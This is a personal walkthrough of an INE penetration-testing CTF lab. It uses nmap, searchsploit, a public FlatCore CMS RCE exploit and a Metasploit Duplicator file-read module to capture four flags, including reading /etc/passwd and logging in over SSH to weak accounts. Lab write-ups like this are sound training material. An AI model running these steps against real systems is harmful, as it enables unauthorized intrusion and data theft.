October 28, 2026

Host & Network Penetration Testing: Exploitation CTF 1: my lab walkthrough

Notice to readers: Try to understand each command rather than blindly copying it.

By Prajwal S

5 min read

Notice to readers:_ Try to understand each command rather than blindly copying it._

Introduction

In this INE Host & Network Penetration Testing: Exploitation CTF 1 lab, I investigated two Linux targets:

  • target1.ine.local
  • target2.ine.local

The objective was to identify the applications and services running on both machines and capture four flags in the format provided by the lab. This write-up follows the four flags in order and documents the commands and results recorded during my lab session.

Flag 1 — Exploiting FlatCore CMS 2.0.7 on Target 1

1. Enumerating the target

I started with an Nmap scan to identify open ports, service versions, and useful default-script findings:

nmap -sC -sV target1.ine.local
  • -sC runs Nmap's default NSE scripts.
  • -sV attempts to identify service versions.
  • target1.ine.local is the target hostname.

The scan identified SSH on port 22 and HTTP on port 80. It also identified FlatCore as the web application generator and showed these paths as disallowed in robots.txt:

/acp/
/core/
/lib/
/modules/

2. Investigating /acp/ and identifying the version

The disallowed paths caught my attention, especially /acp/. I visited that path on the website and inspected the page. At the bottom of the website, I noticed the version information: FlatCore 2.0.7.

This gave me a concrete application name and version to research.

3. Searching for a matching exploit

I first searched for the full application name and version:

searchsploit flatCore Content Management System 2.0.7

That query returned no results. I then broadened the search to the CMS name:

searchsploit flatCore

This returned an entry titled FlatCore CMS 2.0.7 — Remote Code Execution (RCE) (Authenticated), with the exploit path php/webapps/50262.py and a reference to CVE-2021-39608.

The lab provided the credentials admin:password1. Since the listed vulnerability required authentication, those supplied credentials were relevant to testing the exploit in this lab.

4. Copying and inspecting the exploit

I copied the exploit into my current directory:

searchsploit -m 50262.py
  • -m tells Searchsploit to copy the specified exploit file to the current working directory.

I then opened the script for inspection:

nano 50262.py

5. Running the exploit

I ran the script against the lab website with the credentials supplied by the challenge:

python3 50262.py http://target1.ine.local admin password1

The script returned:

Logged in

The exploit provided a command shell. From the shell, I read the flag file at the filesystem root:

cat /flag1.txt

What I learned from Flag 1

Nmap identified FlatCore and exposed /acp/ through robots.txt; inspecting the website footer revealed version 2.0.7. When my full Searchsploit query returned no results, searching the shorter application name located the relevant authenticated RCE entry.

Flag 2 — Compromising an Insecure System User on Target 1

The second objective was to identify and compromise an insecure system user on target1.ine.local.

1. Identifying a local user

After obtaining the command shell during Flag 1, I checked the home directories:

ls /home

The output included:

iamaweakuser

This gave me a username to investigate for the second objective.

2. Connecting over SSH

I connected to the account using SSH:

ssh iamaweakuser@target1.ine.local
  • ssh starts a secure remote shell session.
  • iamaweakuser@target1.ine.local specifies the account and target host.

The saved terminal notes show the SSH session opening successfully and a shell prompt for iamaweakuser. They do not show the intermediate step used to obtain or validate this user's password, so I have not reconstructed it.

3. Retrieving Flag 2

After logging in, I listed the user's home directory:

ls

The directory contained flag2.txt. I read it with:

cat flag2.txt

What I learned from Flag 2

The first foothold helped me identify a potentially weak system account under /home. I verified access by logging in as that user over SSH and reading the flag from the user's home directory.

Flag 3 — Exploiting the Duplicator WordPress Plugin on Target 2

The third objective was to identify and exploit the vulnerable plugin used by the web application on target2.ine.local, then retrieve flag3.txt from the filesystem root.

1. Enumerating Target 2

I ran a service and version scan:

nmap -sV -sC target2.ine.local

The scan identified SSH on port 22 and HTTP on port 80. Nmap also identified the web application as WordPress 6.1, with the site title sample_site.

2. Enumerating WordPress plugins

I used Nmap's WordPress enumeration script:

nmap --script=http-wordpress-enum target2.ine.local
  • --script=http-wordpress-enum runs Nmap's WordPress enumeration script against the target website.

The results listed these plugins:

akismet 5.0.1
duplicator 1.3.26

The Duplicator plugin version was a useful lead to research.

3. Searching for the plugin vulnerability

I searched for known issues affecting the identified plugin version:

searchsploit duplicator 1.3.26

The results included WordPress Plugin Duplicator 1.3.26 — Unauthenticated Arbitrary File Read, as well as a related Metasploit module.

4. Selecting and configuring the Metasploit module

I started Metasploit and searched for the Duplicator module:

msfconsole -q

Inside Metasploit:

search duplicator 1.3.26
use 0
options

The matching module shown in my console was:

auxiliary/scanner/http/wp_duplicator_file_read

I initially entered an incomplete set command:

set target2.ine.local

Metasploit returned an Unknown datastore option error because I had not specified the option name. I corrected it by setting the target explicitly:

set RHOSTS target2.ine.local

I then set the requested file path to the flag:

set FILEPATH /flag3.txt
run
  • RHOSTS specifies the target host.
  • FILEPATH specifies the file the module attempts to read.
  • run executes the module.

The module downloaded the file and returned the flag.

Flag 3 — actual captured value

5. Reading /etc/passwd to identify a system user

I changed the requested file to /etc/passwd:

set FILEPATH /etc/passwd
run

The output included this user entry:

iamacrazyfreeuser:x:1000:1000:,,,:/home/iamacrazyfreeuser:/bin/bash

This username became the lead for the fourth objective.

What I learned from Flag 3

Enumerating WordPress plugins revealed Duplicator 1.3.26. Searching that exact version identified an unauthenticated file-read issue, and the Metasploit auxiliary module let me retrieve /flag3.txt. Reading /etc/passwd also revealed the username used in the final objective.

Flag 4 — Accessing a System User That Requires No Authentication on Target 2

The final objective was to identify and compromise a system user requiring no authentication on target2.ine.local.

1. Connecting to the discovered user

Using the username found in /etc/passwd, I attempted an SSH connection:

ssh iamacrazyfreeuser@target2.ine.local

The saved terminal output shows that the SSH session opened and displayed the iamacrazyfreeuser shell prompt without showing a password prompt. This matched the lab's clue about a system user that required no authentication.

2. Retrieving Flag 4

I listed the contents of the user's home directory:

ls

The output showed:

flag4.txt

I read the file:

cat flag4.txt

Flag 4 — actual captured value

What I learned from Flag 4

The unauthenticated file-read vulnerability helped me identify a local system account. Testing SSH access to that account revealed that the lab allowed a session without prompting for a password, and the user's home directory contained the final flag.

Key Lessons

  1. Follow evidence from enumeration. Nmap results, robots.txt, website footers, and plugin enumeration all provided useful leads.
  2. Broaden searches when needed. My full FlatCore Searchsploit query returned no results, while searching the shorter name found the relevant entry.
  3. Match exploit research to discovered versions. The CMS and plugin versions helped narrow the search.
  4. Read errors carefully. Metasploit's error showed that I had used set without specifying a datastore option; setting RHOSTS correctly fixed it.
  5. Verify each objective. I read each flag file or captured its value from the module output instead of treating a successful exploit attempt as proof by itself.
  6. Be transparent about missing steps. My saved transcript does not include the password-discovery step for Flag 2, so I have not invented a method.

Conclusion

This lab took me through two different web-application attack paths. On Target 1, I identified FlatCore CMS 2.0.7 and used the lab-provided credentials with an authenticated RCE exploit. On Target 2, I enumerated WordPress plugins, identified Duplicator 1.3.26, and used a file-read vulnerability to retrieve the third flag and discover a system username. The final SSH checks completed the remaining objectives.

The biggest lesson was to work methodically: enumerate first, investigate clues, research the exact software version, test in the authorized environment, and verify the result.